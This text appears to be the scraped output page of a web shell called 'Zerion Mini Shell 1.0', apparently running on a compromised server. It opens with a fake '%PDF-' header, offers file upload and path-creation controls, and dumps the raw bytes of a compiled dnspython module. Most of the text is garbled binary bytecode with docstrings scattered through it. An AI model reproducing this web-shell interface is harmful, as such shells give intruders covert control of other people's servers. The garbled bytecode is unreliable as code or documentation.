%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/dns/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/dns/__pycache__/namedict.cpython-312.pyc

�

5��e���2�dZddlmZddlZGd�de�Zy)zDNS name dictionary�)�MutableMappingNc�Z��eZdZdZgd�Z�fd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
�xZS)�NameDictz�A dictionary whose keys are dns.name.Name objects.

    In addition to being like a regular Python dictionary, this
    dictionary can also get the deepest match for a given key.
    )�	max_depth�max_depth_items�__storec���t�|��t�|_d|_d|_|j
t|i|���y)Nr)�super�__init__�dict�_NameDict__storerr�update)�self�args�kwargs�	__class__s   ��./usr/lib/python3/dist-packages/dns/namedict.pyrzNameDict.__init__-s<���
�����v������ ������D�$�)�&�)�*�c��t|�|jk(r|jdz|_yt|�|jkDrt|�|_d|_yy)N�)�lenrr�r�keys  r�__update_max_depthzNameDict.__update_max_depth6sM���s�8�t�~�~�%�#'�#7�#7�!�#;�D� �
��X����
&� ��X�D�N�#$�D� �'rc� �|j|S�N�r
rs  r�__getitem__zNameDict.__getitem__=s���|�|�C� � rc��t|tjj�st	d��||j
|<|j
|�y)NzNameDict key must be a name)�
isinstance�dns�name�Name�
ValueErrorr
�_NameDict__update_max_depth)rr�values   r�__setitem__zNameDict.__setitem__@s<���#�s�x�x�}�}�-��:�;�;�!����S������$rc��|jj|�t|�|jk(r|jdz
|_|jdk(r*d|_|jD]}|j|��yy)Nrr)r
�poprrrr%)rr�ks   r�__delitem__zNameDict.__delitem__Fsr����������s�8�t�~�~�%�#'�#7�#7�!�#;�D� ����1�$��D�N��\�\�
+���'�'��*�
+�%rc�,�t|j�Sr)�iterr
�rs r�__iter__zNameDict.__iter__Os���D�L�L�!�!rc�,�t|j�Sr)rr
r.s r�__len__zNameDict.__len__Rs���4�<�<� � rc��||jvSrrrs  r�has_keyzNameDict.has_keyUs���d�l�l�"�"rc�B�t|�}||jkDr|j}t|d�D]1}tjj||d�}||vs�*|||fcS|tjj}tjj|fS)a�Find the deepest match to *name* in the dictionary.

        The deepest match is the longest name in the dictionary which is
        a superdomain of *name*.  Note that *superdomain* includes matching
        *name* itself.

        *name*, a ``dns.name.Name``, the name to find.

        Returns a ``(key, value)`` where *key* is the deepest
        ``dns.name.Name``, and *value* is the value associated with *key*.
        rN)rr�ranger!r"r#�empty)rr"�depth�i�n�vs      r�get_deepest_matchzNameDict.get_deepest_matchXs����D�	���4�>�>�!��N�N�E���v�q�!�	$�A����
�
�d�1�2�h�'�A��D�y��4��7�|�#�	$�
������ ��������"�"r)�__name__�
__module__�__qualname__�__doc__�	__slots__rr%rr'r+r/r1r3r;�
__classcell__)rs@rrr$s<����<�I�+�%�!�%�+�"�!�#�#rr)r?�collections.abcr�dns.namer!r�rr�<module>rEs ��8�+��I#�~�I#r

Zerion Mini Shell 1.0